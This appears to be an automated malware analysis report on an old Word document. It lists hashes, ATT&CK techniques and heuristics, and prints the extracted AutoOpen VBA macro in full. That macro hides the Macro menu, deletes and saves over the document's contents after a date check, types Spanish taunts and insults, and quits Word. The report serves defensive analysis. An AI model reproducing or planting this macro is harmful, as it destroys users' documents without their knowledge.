Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cd25ba7933f26c1e…

MALICIOUS

Office (OLE)

41.0 KB Created: 2001-04-01 05:20:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 31cd39443dba01dd0cdc8c079a756c58 SHA-1: ea8af4960487e40b9dddb2af65038a645ca1b427 SHA-256: cd25ba7933f26c1e59a6e57a8e250e7d62bb944f4dba45473535ed6b17745ea8
80 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Word document containing a VBA macro with an AutoOpen subroutine. This macro is designed to execute automatically when the document is opened. It displays a series of messages to the user, including 'e-México...', '...un paraíso para los hacker's!!!!', and 'Pinche FOX Pendejo!!!'. The macro also attempts to delete the document content and then save and close the application, indicating a malicious intent to disrupt or deceive the user.

Heuristics 3

  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1333 bytes
SHA-256: d5b6d3286777127bb9614731eeae780d8c4c9744078caa5e779fb5c2873724e9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"
Public Sub AutoOpen()
Attribute AutoOpen.VB_Description = "se abre!!!"
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.AutoOpen"
'
' AutoOpen Macro
' se abre!!!
'
CommandBars("Tools").Controls("Macro").Visible = False

If WordBasic.Month(WordBasic.Now) > 3 And WordBasic.Day(WordBasic.Now) > 5 Then
    Selection.WholeStory
    Selection.Delete Unit:=wdCharacter, Count:=1
    ActiveDocument.Save
    Selection.ParagraphFormat.Alignment = wdAlignParagraphCenter
    Selection.Font.ColorIndex = wdRed
    Selection.Font.Name = "Times New Roman"
    Selection.Font.Size = 48
    Selection.TypeText Text:="e-México..."
    Selection.TypeParagraph
    Selection.Font.Name = "Arial"
    Selection.Font.Size = 36
    Selection.Font.ColorIndex = wdAuto
    Selection.TypeText Text:="...un paraíso para los hacker's!!!!"
    Selection.TypeParagraph
    Selection.TypeText Text:="Pinche FOX Pendejo!!!"
    Selection.TypeParagraph
    ActiveDocument.Save
    Application.Quit
End If
End Sub